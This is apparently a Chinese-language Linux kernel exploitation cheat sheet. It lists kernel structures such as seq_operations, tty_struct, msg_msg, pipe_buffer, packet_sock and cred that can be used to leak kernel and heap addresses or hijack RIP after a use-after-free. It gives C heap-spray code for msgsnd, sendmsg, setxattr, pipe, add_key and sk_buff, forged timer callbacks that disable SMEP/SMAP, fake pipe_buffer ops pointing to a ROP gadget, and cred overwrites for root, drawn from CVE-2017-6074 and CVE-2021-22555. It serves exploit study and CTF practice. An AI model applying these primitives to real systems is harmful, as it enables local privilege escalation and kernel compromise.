一、可用于 Leak/AAR/AAW/RIP劫持的结构体
说明目前缺少kmalloc-8
、kmalloc-16
、kmalloc-64
、kmalloc-512
结构体。
1. shm_file_data
size: 0x20 kmalloc-32
内核基址:可泄露。其ns
、vm_ops
指针可以泄露
heap:可泄露。file
指向堆区域
stack:不能泄露
劫持RIP:不能
产生:调用shmat()
映射共享内存
释放:shmctl()
??
备注:尝试过重写vm_ops
,但是没发现调用fake_vtable
函数指针的情况。
struct shm_file_data {
int id;
struct ipc_namespace *ns;
struct file *file;
const struct vm_operations_struct *vm_ops;
};
/* 测试输出(对一个含UAF漏洞的test.ko进行测试)
0x0000:0x0000000000000000
0x0008:0xffffffff82292ae0
0x0010:0xffff88800ea09700
0x0018:0xffffffff81e15540
[+] kbase = 0xffffffff81000000
[+] kheap = 0xffff88800ea09700
*/
2. seq_operations
size: 0x20 kmalloc-32
内核基址:4个指针都能泄露出内核基址
heap:不能泄露
stack:不能泄露
劫持RIP:可劫持。修改start
,并调用read,将劫持RIP
产生:open("/proc/self/stat", O_RDONLY)
释放:close()
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
/*
0x0000: 0xffffffff811c5f70
0x0008: 0xffffffff811c5f90
0x0010: 0xffffffff811c5f80
0x0018: 0xffffffff8120c3f0
[+] kbase = 0xffffffff81000000
Press enter to continue...
[ 6.801190] BUG: unable to handle kernel paging request at 00000000deadbeef
*/
3. msg_msg (+user-supplied data)
size: 0x31-0x1000 kmalloc-64
以上
内核基址:不能泄露
heap:可泄露。next
指向前一个msgsnd
消息(SLUB上)
stack:不能泄露
劫持RIP:不能
产生:msgget()
+ msgsnd()
释放:到msgrcv()
,接收顺序同发送顺序,所以kfree的顺序也是传输的顺序
备注:非常方便,因为结构的大小可变,但限制是前48字节是头结构,无法重写。
/* one msg_msg structure for each message */
struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void *security;
/* the actual message follows immediately */
};
/*
0x0000: 0xffff88800e1661c0
0x0008: 0xffff88800e1661c0
0x0010: 0x0000000000000001
0x0018: 0x0000000000000020
0x0020: 0x0000000000000000
0x0028: 0xffff88800e8c7f90
0x0030: 0x4242424241414141
0x0038: 0x4444444443434343
0x0040: 0x4646464645454545
0x0048: 0x0000000000000046
[+] kheap = 0xffff88800e1661c0
*/
4. subprocess_info
size: 0x60 kmalloc-128
内核基址:可泄露。work.func
可能指向call_usermodehelper_exec_work
heap:可泄露。但尚未验证是哪些SLUB
stack:不能泄露。
劫持RIP:可劫持。重写cleanup
产生:socket(22, AF_INET, 0)
—— 未知协议
释放:与产生的路径相同
备注:通过竞争来设置info->cleanup
,触发执行if (info->cleanup) info->cleanup(info);
劫持RIP的概率很大,但是构造ROP回到用户态后,会死在fs或者syscall。如果禁用SMAP,理论上可以将fd重写到用户态,并结合userfaultfd。
struct subprocess_info {
struct work_struct work;
struct completion *complete;
const char *path;
char **argv;
char **envp;
struct file *file;
int wait;
int retval;
pid_t pid;
int (*init)(struct subprocess_info *info, struct cred *new);
void (*cleanup)(struct subprocess_info *info);
void *data;
} __randomize_layout;
/*
0x0000: 0xffff88800f254380
0x0008: 0xffff88800f254e88
0x0010: 0xffff88800f254e88
0x0018: 0xffffffff81071380
0x0020: 0x0000000000000000
0x0028: 0xffffffff82242260
0x0030: 0xffff88800e0e3b40
0x0038: 0xffffffff82242180
0x0040: 0x0000000000000000
0x0048: 0x0000010000000006
0x0050: 0x0000000000000407
0x0058: 0x0000000000000000
[+] kbase = 0xffffffff81000000
[+] kheap = 0xffff88800f254380
Press enter to continue...
[ 6.801190] BUG: unable to handle kernel paging request at 00000000deadbeef
*/
5.cred
size: 0xa8 kmalloc-192
内核基址:不能泄露。
heap:可泄露。通过session_keyring
泄露,但是未验证属于哪种SLUB。
stack:不能泄露
劫持RIP:不能
产生:创建进程
释放:退出创建的进程。
备注:覆盖uid,gid = 0
即可提权。
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
/* RCU deletion */
union {
int non_rcu; /* Can we skip RCU deletion? */
struct rcu_head rcu; /* RCU deletion hook */
};
} __randomize_layout;
6. file
size:kmalloc-256
内核基址:可泄露。f_op
指针
heap:未验证。
stack:未验证。
劫持RIP:重写f_op
中的shmctl()
来控制,但由于UAF后文件结构没有重叠,验证失败。
产生:shmget()
创建共享内存。
释放:shmctl()
struct file {
union {
struct llist_node fu_llist;
struct rcu_head fu_rcuhead;
} f_u;
struct path f_path;
struct inode *f_inode; /* cached value */
const struct file_operations *f_op;
/*
* Protects f_ep_links, f_flags.
* Must not be taken from IRQ context.
*/
spinlock_t f_lock;
enum rw_hint f_write_hint;
atomic_long_t f_count;
unsigned int f_flags;
fmode_t f_mode;
struct mutex f_pos_lock;
loff_t f_pos;
struct fown_struct f_owner;
const struct cred *f_cred;
struct file_ra_state f_ra;
u64 f_version;
#ifdef CONFIG_SECURITY
void *f_security;
#endif
/* needed for tty driver, and maybe others */
void *private_data;
#ifdef CONFIG_EPOLL
/* Used by fs/eventpoll.c to link all the hooks to this file */
struct list_head f_ep_links;
struct list_head f_tfile_llink;
#endif /* #ifdef CONFIG_EPOLL */
struct address_space *f_mapping;
errseq_t f_wb_err;
} __randomize_layout
__attribute__((aligned(4))); /* lest something weird decides that 2 is OK */
7. timerfd_ctx
size:kmalloc-256
内核基址:可泄露。通过tmr.function
所指向的timerfd_tmrproc
来泄露
heap:可泄露。通过tmr.base
stack:不能泄露。
劫持RIP:不能
产生:timerfd_create()
释放:close()
struct timerfd_ctx {
union {
struct hrtimer tmr;
struct alarm alarm;
} t;
ktime_t tintv;
ktime_t moffs;
wait_queue_head_t wqh;
u64 ticks;
int clockid;
short unsigned expired;
short unsigned settime_flags; /* to show in fdinfo */
struct rcu_head rcu;
struct list_head clist;
spinlock_t cancel_lock;
bool might_cancel;
};
struct hrtimer {
struct timerqueue_node node;
ktime_t _softexpires;
enum hrtimer_restart (*function)(struct hrtimer *);
struct hrtimer_clock_base *base;
u8 state;
u8 is_rel;
u8 is_soft;
};
/*
0x0000:0xffff88800e216100
0x0008:0x0000000000000000
0x0010:0x0000000000000000
0x0018:0x000000183ca77938
0x0020:0x000000183ca77938
0x0028:0xffffffff811e7ef0
0x0030:0xffff88800f41ba80
...
[+] kbase = 0xffffffff81000000
[+] kbase = 0xffff88800f41ba80
*/
8. tty_struct
size:0x2e0 kmalloc-1024
内核基址:可泄露。ops
指向的ptm_unix98_ops
heap:可泄露。通过dev
和driver
,但是未验证属于哪种SLUB。
stack:似乎不能泄露。
劫持RIP:可劫持。重写ops
函数表。
产生:open("/dev/ptmx", O_RDWR | O_NOCTTY)
释放:close()
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops;
int index;
/* Protects ldisc changes: Lock tty not pty */
struct ld_semaphore ldisc_sem;
struct tty_ldisc *ldisc;
struct mutex atomic_write_lock;
struct mutex legacy_mutex;
struct mutex throttle_mutex;
struct rw_semaphore termios_rwsem;
struct mutex winsize_mutex;
spinlock_t ctrl_lock;
spinlock_t flow_lock;
/* Termios values are protected by the termios rwsem */
struct ktermios termios, termios_locked;
struct termiox *termiox; /* May be NULL for unsupported */
char name[64];
struct pid *pgrp; /* Protected by ctrl lock */
struct pid *session;
unsigned long flags;
int count;
struct winsize winsize; /* winsize_mutex */
unsigned long stopped:1, /* flow_lock */
flow_stopped:1,
unused:BITS_PER_LONG - 2;
int hw_stopped;
unsigned long ctrl_status:8, /* ctrl_lock */
packet:1,
unused_ctrl:BITS_PER_LONG - 9;
unsigned int receive_room; /* Bytes free for queue */
int flow_change;
struct tty_struct *link;
struct fasync_struct *fasync;
wait_queue_head_t write_wait;
wait_queue_head_t read_wait;
struct work_struct hangup_work;
void *disc_data;
void *driver_data;
spinlock_t files_lock; /* protects tty_files list */
struct list_head tty_files;
#define N_TTY_BUF_SIZE 4096
int closing;
unsigned char *write_buf;
int write_cnt;
/* If the tty has a pending do_SAK, queue it here - akpm */
struct work_struct SAK_work;
struct tty_port *port;
} __randomize_layout;
/*
0x0000:0x0000000100005401
0x0008:0x0000000000000000
0x0010:0xffff88800f1ed840
0x0018:0xffffffff81e65900
0x0020: 0x0000000000000000
...
[+] kbase = 0xffffffff81000000
[+] kheap = 0xffff88800f1ed840
按回车继续...
[5.413411] BUG:无法在 00000000deadbeef 处处理内核分页请求
*/
9. pipe_buffer
size:kmalloc-1024
有 GFP_KERNEL_ACCOUNT
标志。
内核基址:可泄露,ops指针指向anon_pipe_buf_ops
函数表。
劫持RIP:pipe_buffer->ops->release
分配链:pipe() -> do_pipe2() -> __do_pipe_flags() -> create_pipe_files() -> get_pipe_inode() -> alloc_pipe_info() —— 分配大小为0x370(默认16个page,16*0x28=0x370)。
触发链:pipe_release() -> put_pipe_info() -> free_pipe_info -> pipe_buf_release() 调用pipe_buffer->ops->release
函数
struct pipe_buffer {
struct page *page; // 读写pipe时, 实际上是读写page地址
unsigned int offset, len;
const struct pipe_buf_operations *ops; // <-------- 函数表
unsigned int flags;
unsigned long private;
};
struct pipe_buf_operations {
int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *); // 确保 pipe buffer 中的数据有效,有效则返回0,无效则返回负值错误码。
void (*release)(struct pipe_inode_info *, struct pipe_buffer *);// <-------- 释放 pipe buffer
bool (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);
bool (*get)(struct pipe_inode_info *, struct pipe_buffer *);
};
构造:
#define NUM_PIPEFDS 256
int pipefd[NUM_PIPEFDS][2];
// spray
for (int i = 0; i < NUM_PIPEFDS; i++) {
if (pipe(pipefd[i]) < 0) {
perror("[-] pipe");
goto err_rmid;
}
// Write something to populate pipe_buffer.
if (write(pipefd[i][1], "pwn", 3) < 0) {
perror("[-] write");
goto err_rmid;
}
}
// release, trigger
for (int i = 0; i < NUM_PIPEFDS; i++) {
if (close(pipefd[i][0]) < 0) {
perror("[-] close");
goto err_rmid;
}
if (close(pipefd[i][1]) < 0) {
perror("[-] close");
goto err_rmid;
}
}
10. packet_socket
参考:CVE-2016-8655 CVE-2017-6074
size:kmalloc-2048
5.11.14版本中大小为0x5c0。
劫持RIP:
packet_sock
->rx_ring
->prb_bdqc
->retire_blk_timer
->function
。在timeout超时后调用,可传参,可用于执行native_write_cr4(0x406e0)
来关闭SMEP/SMAP。packet_socket
->xmit
。在接收数据时调用。
分配 packet_sock:socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
—— sock(AF_PACKET)
-> packet_create
-> sk_alloc
分配timer:setsockopt(fd, SOL_PACKET, PACKET_RX_RING, (void*)&tp, sizeof(tp));
—— packet_set_ring()->init_prb_bdqc()->prb_setup_retire_blk_timer()->prb_init_blk_timer()
struct packet_sock {
/* struct sock has to be the first member of packet_sock */
struct sock sk;
struct packet_fanout *fanout;
union tpacket_stats_u stats;
struct packet_ring_buffer rx_ring; // <--------------- rx_ring
struct packet_ring_buffer tx_ring;
... ...
int (*xmit)(struct sk_buff *skb);
struct packet_type prot_hook ____cacheline_aligned_in_smp;
};
struct packet_ring_buffer {
struct pgv *pg_vec;
... ...
unsigned int pg_vec_order;
unsigned int pg_vec_pages;
unsigned int pg_vec_len;
unsigned int __percpu *pending_refcnt;
struct tpacket_kbdq_core prb_bdqc; // <---------------- prb_bdqc
};
/* kbdq - kernel block descriptor queue */
struct tpacket_kbdq_core {
struct pgv *pkbdq;
... ...
struct sk_buff *skb; // <---------------- skb
... ...
unsigned short retire_blk_tov;
unsigned short version;
unsigned long tov_in_jiffies;
struct timer_list retire_blk_timer; // <---------------- retire_blk_timer
};
struct timer_list {
struct hlist_node entry;
unsigned long expires;
void (*function)(unsigned long); // 待伪造的回调函数
unsigned long data; // 参数
u32 flags;
#ifdef CONFIG_TIMER_STATS
int start_pid;
void *start_site;
char start_comm[16];
#endif
#ifdef CONFIG_LOCKDEP
struct lockdep_map lockdep_map;
#endif
};
构造:来自 CVE-2017-6074
#define TIMER_OFFSET (744 + 48 + 104)
void init_timer_buffer(char* buffer, void *func, unsigned long arg) {
memset(&buffer[0], 0, 2048);
struct timer_list* timer = (struct timer_list *)&buffer[TIMER_OFFSET];
timer->next = 0;
timer->prev = 0;
timer->expires = 4294943360;
timer->function = func;
timer->data = arg;
timer->flags = 1;
timer->slack = -1;
}
int timers[6];
int optval = TPACKET_V3;
struct tpacket_req3 tp;
struct udp_fifo_handle uh3;
socketpair(AF_LOCAL, SOCK_DGRAM, 0, uh3->fds);
// 创建 timer
for (i = 0; i < 6; i++) {
timer[i] = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
setsockopt(timer[i], SOL_PACKET, PACKET_VERSION, &optval, sizeof(optval));
memset(&tp, 0, sizeof(tp));
tp.tp_block_size = CONF_RING_FRAMES * getpagesize();
tp.tp_block_nr = 1;
tp.tp_frame_size = getpagesize();
tp.tp_frame_nr = CONF_RING_FRAMES;
tp.tp_retire_blk_tov = timeout; // timeout = 500 (0.5s)
setsockopt(timer[i], SOL_PACKET, PACKET_RX_RING, (void *)&tp, sizeof(tp));
}
// 堆喷伪造timer
char buffer[2048];
init_timer_buffer(&buffer[0], func, arg);
send(uh3->fds[0], buffer, 1536, 0); // 1536=0x600
sleep(1); // 等待触发
11. sk_buff 线性数据区
参考: CVE-2017-6074
size:2048
劫持RIP:sk_buff -> skb_shared_info -> ubuf_info -> callback
注意skb_shared_info
结构的偏移为sk_buff->head+sk_buff->end
。
struct sk_buff {
union {
struct {
/* These two members must be first. */
struct sk_buff *next;
struct sk_buff *prev;
... ...
sk_buff_data_t tail;
sk_buff_data_t end;
unsigned char *head,
*data; // <------------ (head+end) 指向 skb_shared_info 结构
unsigned int truesize;
atomic_t users;
};
struct skb_shared_info {
unsigned char nr_frags;
__u8 tx_flags;
unsigned short gso_size;
/* Warning: this field is not always filled in (UFO)! */
unsigned short gso_segs;
unsigned short gso_type;
struct sk_buff *frag_list;
struct skb_shared_hwtstamps hwtstamps;
u32 tskey;
__be32 ip6_frag_id;
atomic_t dataref;
void * destructor_arg; // <------------ 指向 ubuf_info 结构
skb_frag_t frags[MAX_SKB_FRAGS];
};
struct ubuf_info {
void (*callback)(struct ubuf_info *, bool zerocopy_success); // <------------ 待伪造的回调函数
void *ctx;
unsigned long desc;
};
分配:sendmsg
-> packet_sendmsg() -> packet_snd() -> packet_alloc_skb() -> sock_alloc_send_pskb() -> alloc_skb_with_frags() -> alloc_skb() -> __alloc_skb() 还有很多协议及调用链都会用到skb。
释放链:dccp_close() -> inet_csk_destroy_sock() -> dccp_v6_destroy_sock() -> inet6_destroy_sock() -> kfree_skb() -> __kfree_skb() -> skb_release_all() -> skb_release_data() 执行回调函数skb-> ... ->destructor_arg->callback
。
构造:只有CVE-2017-6074漏洞中,由于dccp拥塞控制协议对sk_buff
结构进行了double-free,可堆喷劫持。
二、可用于任意数据写入/堆喷的结构
1. msg_msg —— msgsnd()
参考: msgsnd linux内核提权系列教程(1):堆喷射函数sendmsg与msgsend利用
构造:msgsnd()
发送,msgrcv()
接收。
// 只能控制0x30字节以后的内容
struct {
long mtype;
char mtext[BUFF_SIZE];
}msg;
memset(msg.mtext, 0x42, BUFF_SIZE-1); // 布置用户空间的内容
msg.mtext[BUFF_SIZE] = 0;
int msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
msg.mtype = 1; //必须 > 0
// 假设此时已经产生释放对象,但指针未清空
for(int i = 0; i < 120; i++)
msgsnd(msqid, &msg, sizeof(msg.mtext), 0);
// 触发UAF即可
2. sendmsg()
参考:linux内核提权系列教程(1):堆喷射函数sendmsg与msgsend利用
size:可选(>=2)
产生:sendmsg
,数据放入msg.msg_control
指针。
释放:与产生路径相同。
备注:与setxattr
相同,可与userfaultfd结合使用。
// 限制: BUFF_SIZE > 44
char buff[BUFF_SIZE];
struct msghdr msg = {0};
struct sockaddr_in addr = {0};
int sockfd = socket(AF_INET, SOCK_DGRAM, 0);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
addr.sin_family = AF_INET;
addr.sin_port = htons(6666);
// 布置用户空间buff的内容
msg.msg_control = buff;
msg.msg_controllen = BUFF_SIZE;
msg.msg_name = (caddr_t)&addr;
msg.msg_namelen = sizeof(addr);
// 假设此时已经产生释放对象,但指针未清空
for(int i = 0; i < 100000; i++) {
sendmsg(sockfd, &msg, 0);
}
// 触发UAF即可
// 方法2
int sock[2];
socketpair(AF_LOCAL, SOCK_DGRAM, 0, sock);
struct mmsghdr msg[1];
msg[0].msg_hdr.msg_iovlen = 0;
// Buffer to kmalloc.
msg[0].msg_hdr.msg_control = &buffer[0];
msg[0].msg_hdr.msg_controllen = 2048;
// Make sendmmsg exit easy with EINVAL.
msg[0].msg_hdr.msg_name = "root";
msg[0].msg_hdr.msg_namelen = 1;
syscall(__NR_sendmmsg, sock[0], msg, 1, 0);
3. setxattr
参考:setxattr+userfault堆喷 CVE-2019-15666 xfrm UAF 8字节写NULL提权分析
size:可选(<65536)
产生:setxattr()
。
static long setxattr(struct dentry *d, const char __user *name, const void __user *value,
size_t size, int flags)
{
int error;
void *kvalue = NULL;
char kname[XATTR_NAME_MAX + 1];
... ...
if (size) {
if (size > XATTR_SIZE_MAX)
return -E2BIG;
kvalue = kvmalloc(size, GFP_KERNEL); // [1] 分配空间
if (!kvalue)
return -ENOMEM;
if (copy_from_user(kvalue, value, size)) { // [2] 拷贝用户数据
error = -EFAULT;
goto out;
}
if ((strcmp(kname, XATTR_NAME_POSIX_ACL_ACCESS) == 0) ||
(strcmp(kname, XATTR_NAME_POSIX_ACL_DEFAULT) == 0))
posix_acl_fix_xattr_from_user(kvalue, size);
}
error = vfs_setxattr(d, kname, kvalue, size, flags);
out:
kvfree(kvalue); // [3] 释放空间
return error;
}
释放:与产生路径相同。
备注:与userfaultfd结合使用。弥补msgsnd
前48字节无法覆盖的缺陷。
void *addr;
addr = mmap(NULL, 0x1000, 3, 0x22, -1, 0); /* TODO */
setxattr("/etc/passwd", "user.test", addr, 0x400, 1); /* TODO */
4. pipe() —— pipe_buffer
参考:【内核漏洞利用】WCTF 2018 klist—竞争UAF-pipe堆喷 linux kernel pwn学习之条件竞争(一)
write链:write -> ksys_write -> vfs_write -> new_sync_write() -> call_write_iter() -> pipe_write() 将数据写入了pipe_buffer->page
中(页=4k),所以不能任意布置数据,参考中用到pipe堆喷是因为pipe_buffer->offset
和pipe_buffer->len
恰好将改题中结构的第2个8字节—size
覆盖很大,导致越界读写。
read链:read -> ksys_read() -> vfs_read() -> new_sync_read() -> call_read_iter() -> pipe_read()
构造:
#define SIZE 0x280
char* buf2 = malloc(SIZE);
memset(buf2, 'E', SIZE);
int fds[2];
pipe(&fds[0]);
// 堆喷,把结构中的size域覆盖很大,这样就能任意读写
for(int i = 0; i < 9; i++)
write(fds[1], buf2, SIZE);
5. add_key()
size:<= kmalloc-8192
最大不超过 /proc/sys/kernel/keys/maxbytes
中规定的值,默认为20000。
产生:add_key
SYSCALL_DEFINE5(add_key, const char __user *, _type,
const char __user *, _description,
const void __user *, _payload,
size_t, plen,
key_serial_t, ringid)
{
key_ref_t keyring_ref, key_ref;
char type[32], *description;
void *payload;
long ret;
... ... // 读取type/description
payload = NULL;
if (plen) {
ret = -ENOMEM;
payload = kvmalloc(plen, GFP_KERNEL); // [1] 分配空间
if (!payload)
goto error2;
ret = -EFAULT;
if (copy_from_user(payload, _payload, plen) != 0) // [2] 拷贝用户数据
goto error3;
}
... ...
error:
return ret;
}
构造:
// 方法1
void spray_addkey(int count) {
int i;
char payload[BUF_SIZE];
char desc[256];
memset(payload, 0x42, BUF_SIZE);
for(i=0; i<count; i++) {
sprintf(desc, "payload%d", i);
add_key_arr[i] = _add_key("user", desc, payload, 0x300, KEY_SPEC_PROCESS_KEYRING);
}
}
// 方法2
#include <linux/keyctl.h>
#define PAYLOAD_SZ 8100
k[0] = syscall(__NR_add_key, "user", "payload1", payload, PAYLOAD_SZ, KEY_SPEC_PROCESS_KEYRING);
k[1] = syscall(__NR_add_key, "user", "payload2", payload, PAYLOAD_SZ, KEY_SPEC_PROCESS_KEYRING);
6. sk_buff
参考:喷射参考CVE-2021-22555,介绍参考CVE-2017-6074。
size:0x280 不包含头信息,可喷射前面的字节,如喷射伪造pipe_buffer->ops
。
创建链:write -> ksys_write() -> vfs_write() -> new_sync_write() -> call_write_iter() -> sock_write_iter() -> sock_sendmsg() -> sock_sendmsg_nosec() -> unix_stream_sendmsg() -> sock_alloc_send_pskb() -> alloc_skb_with_frags() -> alloc_skb() -> __alloc_skb()
read链:read -> ksys_read() -> vfs_read() -> new_sync_read() -> call_read_iter() -> sock_read_iter() -> sock_recvmsg() -> sock_recvmsg_nosec() -> unix_stream_recvmsg() -> unix_stream_read_generic() -> unix_stream_read_actor() -> skb_copy_datagram_msg() -> skb_copy_datagram_iter() -> __skb_datagram_iter()
write链: write -> ksys_write() -> vfs_write() -> new_sync_write() -> call_write_iter() -> sock_write_iter() -> sock_sendmsg() -> sock_sendmsg_nosec() -> unix_stream_sendmsg() -> skb_copy_datagram_from_iter()
static ssize_t sock_write_iter(struct kiocb *iocb, struct iov_iter *from)
{
struct file *file = iocb->ki_filp;
struct socket *sock = file->private_data;
struct msghdr msg = {.msg_iter = *from, // 组装msg结构, 最开始是调用write进行堆喷的,所以没有传入msghdr结构(同sendmsg堆喷时传入的结构一样)
.msg_iocb = iocb};
ssize_t res;
if (iocb->ki_pos != 0)
return -ESPIPE;
if (file->f_flags & O_NONBLOCK || (iocb->ki_flags & IOCB_NOWAIT))
msg.msg_flags = MSG_DONTWAIT;
if (sock->type == SOCK_SEQPACKET)
msg.msg_flags |= MSG_EOR;
res = sock_sendmsg(sock, &msg); //
*from = msg.msg_iter;
return res;
}
int skb_copy_datagram_from_iter(struct sk_buff *skb, int offset,
struct iov_iter *from,
int len)
{
int start = skb_headlen(skb); // skb->len - skb->data_len;
int i, copy = start - offset; // copy 是线性数据区的剩余空间大小
struct sk_buff *frag_iter;
// [1] 拷贝到线性数据区 skb->data
if (copy > 0) {
if (copy > len)
copy = len;
if (copy_from_iter(skb->data + offset, copy, from) != copy)
goto fault;
if ((len -= copy) == 0)
return 0;
offset += copy;
}
// [2] 拷贝到非线性数据区 skb->frags
for (i = 0; i < skb_shinfo(skb)->nr_frags; i++) {
int end;
const skb_frag_t *frag = &skb_shinfo(skb)->frags[i];
WARN_ON(start > offset + len);
end = start + skb_frag_size(frag);
if ((copy = end - offset) > 0) {
size_t copied;
if (copy > len)
copy = len;
copied = copy_page_from_iter(skb_frag_page(frag),
skb_frag_off(frag) + offset - start,
copy, from);
if (copied != copy)
goto fault;
if (!(len -= copy))
return 0;
offset += copy;
}
start = end;
}
// [3] 拷贝到非线性数据区 skb->fraglist
skb_walk_frags(skb, frag_iter) { // for (iter = skb_shinfo(skb)->frag_list; iter; iter = iter->next)
int end;
WARN_ON(start > offset + len);
end = start + frag_iter->len;
if ((copy = end - offset) > 0) {
if (copy > len)
copy = len;
if (skb_copy_datagram_from_iter(frag_iter,
offset - start,
from, copy))
goto fault;
if ((len -= copy) == 0)
return 0;
offset += copy;
}
start = end;
}
if (!len)
return 0;
... ...
}
EXPORT_SYMBOL(skb_copy_datagram_from_iter);
构造:
#define SKB_SHARED_INFO_SIZE 0x140
#define NUM_SOCKETS 4
#define NUM_SKBUFFS 128
int ss[NUM_SOCKETS][2];
char buf[0x400 - SKB_SHARED_INFO_SIZE];
for (int i = 0; i < NUM_SOCKETS; i++)
socketpair(AF_UNIX, SOCK_STREAM, 0, ss[i]);
struct pipe_buffer *p_buf = (struct pipe_buffer *)&buf; // 伪造 pipe_buffer->ops
p_buf->ops = kheap_addr + 0x290;
struct pipe_buf_operations *ops = (struct pipe_buf_operations *)&buf[0x290];
ops->release = kbase_addr + PUSH_RSI_JMP_QWORD_PTR_RSI_39;
for (int i = 0; i < NUM_SOCKETS; i++) {
for (int j = 0; j < NUM_SKBUFFS; j++) {
if (write(ss[i][0], buf, 0x400-0x140) < 0) {
perror("[-] write");
return -1;
}
}
}
// 读取skb内容
for (int i = 0; i < NUM_SOCKETS; i++) {
for (int j = 0; j < NUM_SKBUFFS; j++) {
if (read(ss[i][1], buf, sizeof(buf)) < 0) {
perror("[-] read");
goto err_rmid;
}
if (*(uint64_t *)&buf[0x10] != MTYPE_FAKE)
pipe_buffer_ops = *(uint64_t *)&buf[0x10]; // 泄露 pipe_buffer->ops —— 内核基址
}
}
// 释放skb
for (int i = 0; i < NUM_SOCKETS; i++) {
for (int j = 0; j < NUM_SKBUFFS; j++) {
if (read(ss[i][1], buf, 0x400-0x140) < 0) {
perror("[-] read");
return -1;
}
}
}
参考:
https://ptr-yudai.hatenablog.com/entry/2020/03/16/165628 实验环境下载